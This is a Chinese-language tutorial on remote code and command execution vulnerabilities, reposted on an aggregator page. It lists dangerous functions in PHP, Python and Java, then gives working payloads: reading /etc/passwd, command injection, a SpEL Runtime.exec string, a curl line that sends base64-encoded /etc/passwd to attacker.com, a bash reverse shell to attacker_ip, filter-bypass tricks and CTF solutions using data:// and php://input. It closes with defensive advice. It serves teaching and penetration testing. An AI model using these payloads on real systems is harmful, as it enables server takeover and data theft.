当前位置: 首页 > news >正文

web安全-RCE(代码执行与命令执行)

RCE

1. 核心概念区分
  • 代码执行:应用程序将用户输入当作代码(如PHP、Python脚本)解析执行。攻击者可以注入恶意代码,执行任意脚本功能。
  • 命令执行:应用程序调用操作系统命令(如system()exec()),用户输入被拼接到命令中。攻击者可以注入恶意命令,直接控制服务器操作系统。
2. 漏洞函数与危险函数清单(白盒审计关键点)

PHP

  • 代码执行eval()assert()preg_replace()/e修饰符已废弃,但旧代码仍有)、create_function()array_map()call_user_func()/call_user_func_array()(配合动态函数名)、array_filter()uasort()unserialize()(反序列化可能触发)。
  • 命令执行system()exec()shell_exec()pcntl_exec()popen()proc_open()passthru()、反引号``。

Python

  • 代码执行eval()exec()execfile()(Python2)、compile()__import__
  • 命令执行os.system()os.popen()subprocess模块(call()Popen()run())、commands.getoutput()

Java

  • 代码执行:无直接eval()函数,但通过反射表达式引擎(如OGNLSpELMVEL)、模板引擎(如Velocity、Freemarker)、反序列化(如Fastjson、Jackson)等实现。
  • 命令执行Runtime.getRuntime().exec()ProcessBuilder
3. 攻击面挖掘(黑盒功能点)

渗透测试中重点关注以下功能点:

🌐代码/脚本在线执行平台:如在线PHP运行、Python运行、SQL在线工具等。直接尝试执行系统命令或读取文件。

Payload:system('id');echo file_get_contents('/etc/passwd');

🖥️系统管理面板:如网络检测(ping、traceroute)、日志查看、服务启停等。这些功能常调用系统命令,可能存在命令注入。

参数注入:127.0.0.1; cat /etc/passwd| whoami

📝评论/解析功能:某些应用支持富文本或表达式解析(如SpEL),攻击者可能注入表达式。

SpEL Payload:T(java.lang.Runtime).getRuntime().exec('calc')

📁文件上传/包含:上传包含恶意代码的文件(如PHP一句话),配合文件包含漏洞触发。

📦第三方组件/中间件:已知RCE漏洞(如ThinkPHP RCE、Struts2 OGNL、Log4j2 JNDI注入等)。使用漏洞扫描器或指纹识别后直接验证。

🔧其他漏洞引发:SQL注入写文件、反序列化、XXE等可能最终导致RCE。

4. 利用技巧与绕过手法

有回显利用

  • 直接执行命令并获取输出。
system('cat /etc/passwd'); echo shell_exec('ls -la');

无回显利用

  • 写文件:将命令结果写入Web目录可访问的文件。
system('cat /etc/passwd > /var/www/html/1.txt');
  • DNS/HTTP外带:利用curlwget将结果发送到攻击者服务器。
system('curl http://attacker.com/?data=`cat /etc/passwd | base64`');
  • 反弹Shell:直接建立反向连接。
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

绕过技巧(结合CTF案例)

  • 空格绕过{cat,/etc/passwd}cat${IFS}/etc/passwdcat%09/etc/passwd
  • 关键字绕过
    • 通配符:/???/c?t /???/p?ss??cat /etc/pass???
    • 变量拼接:a=c;b=at;$a$b /etc/passwd
    • 编码:echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
  • 命令分隔符;|||&&&\n(%0a)
  • 利用管道符和重定向
# 30题示例 cp fla*.ph* 2.txt # 利用通配符和复制绕过过滤 echo shell_exec('tac fla*.ph*');
  • 参数逃逸(31题):利用动态参数注入额外代码。
eval($_GET[1]); &1=system('tac flag.php');
  • 包含与伪协议(32~39题):利用文件包含,配合data://php://input等伪协议执行代码。
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?> include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php # 37~39 通过包含读取flag php://input post: <?php system('tac flag.php');?>
5. 漏洞引发链(间接RCE)

RCE常作为漏洞利用的最终目标,由其他漏洞触发:

  • 文件包含:包含本地或远程文件,若文件内容可控,则执行恶意代码。
  • 文件上传:上传WebShell直接获取代码执行权限。
  • 反序列化:反序列化过程中自动调用魔术方法,触发恶意代码。
  • SQL注入:若数据库支持写文件(into outfile),可写入WebShell。
  • XXE:若支持expect://协议或能结合SSRF攻击内部RCE服务。
  • SSTI:模板注入可直接执行代码。
6. 实战注意事项
  • 语言环境识别:根据返回头、文件后缀、参数特征判断后端语言,选择合适的Payload。
  • 命令执行的跨平台性:Windows与Linux命令差异大,需分别测试。
  • WAF绕过:结合编码、混淆、特殊字符拆分进行测试。
  • 权限提升:获得初始RCE后,进一步进行内网渗透、提权。
7. 防御与修复建议
  • 尽量避免使用动态执行函数,如eval()system()
  • 严格过滤用户输入,使用白名单验证。
  • 禁用危险函数(disable_functions)、限制执行权限。
  • 使用安全的API替代命令执行(如PHP的proc_open需严格控制参数)。
  • 保持组件和框架更新,及时修补已知漏洞。

💡总结

RCE是渗透测试中的高危漏洞,往往直接获取服务器权限。挖掘时需拓宽思路,不仅关注显眼的在线执行功能,还要注意系统命令调用点、表达式解析、组件漏洞等。利用时要灵活运用绕过技巧,结合有回显/无回显方法获取数据。牢记各类危险函数和利用手法,才能在实战中迅速抓住机会。

如果你有特定场景或语言下的RCE问题,欢迎进一步探讨!

http://www.jsqmd.com/news/1118186/

相关文章:

  • 保姆级CV入门:Python+OpenCV+PyTorch环境搭建与实战验证
  • 如何零代码实现跨浏览器网页摄像头图像捕捉:3步解决5大开发痛点
  • 多通道信号采集系统设计与实现:64通道同步采样方案
  • 2026中英文语音识别怎么选?清楚准好整理的方案更省事
  • LMCache:将KV Cache从临时状态升级为持久化AI知识库
  • Windows Defender彻底移除工具:专业指南与性能优化解决方案
  • 如何彻底禁用Windows Defender:Windows Defender Remover完整指南
  • TB9051FTG与PIC32MX675F512L实现直流电机静音驱动方案
  • OpenBoardView:免费开源PCB查看器,硬件工程师的终极电路板分析工具
  • TQVaultAE:释放你的泰坦之旅无限仓库潜能,告别背包爆满的烦恼!
  • Metasploit启动报错深度解析:从依赖缺失到数据库连接的系统性修复指南
  • 通达信缠论可视化插件CZSC.dll:3分钟实现专业级技术分析自动化
  • 使用Hashcat与rar2john高效恢复RAR5加密文件密码的完整指南
  • 【Java毕业设计】基于 SpringBoot 的医疗器械检修维护管理系统的设计与实现 医疗机构设备耗材数字化管理平台(源码+文档+远程调试,全bao定制等)
  • 灾害预警系统设计:地震与风暴监测发射器开发实践
  • Flux1-dev:让普通显卡也能运行专业级AI模型的终极解决方案
  • 多模态大模型选型:不看排行榜,看业务适配性
  • 3分钟免费汉化GitHub Desktop:新手也能快速上手的中文界面终极指南
  • 如何轻松掌控你的微信记忆:WeChatMsg聊天记录管理完全指南
  • AI辅助编码效率提升2.8倍,但调试成本反增35%——2024最危险的5个AI编程认知陷阱,现在纠正还来得及
  • STM32L031K6与MC74HC165A的GPIO扩展方案详解
  • AI入门指南:从概念到自监督学习原理与应用
  • 逆向分析短视频平台a_bogus参数:从JavaScript混淆到Python复现
  • 终极桌面伙伴指南:用DyberPet打造你的专属数字宠物
  • 如何永久保存微信聊天记录?5步完成微信聊天数据完整备份与智能分析终极指南
  • NGA-BBS-Script:重塑论坛浏览的能力矩阵与价值网络
  • Function Calling 和 MCP:到底什么场景选哪个?
  • AI Agent如何重塑数据库运维:从智能诊断到安全执行
  • 127、mypy 静态类型检查:渐进式 typing 的配置、忽略策略与 CI 集成
  • 影刀RPA新手教程:飞书机器人Webhook完全指南——消息推送格式、卡片消息与群通知自动化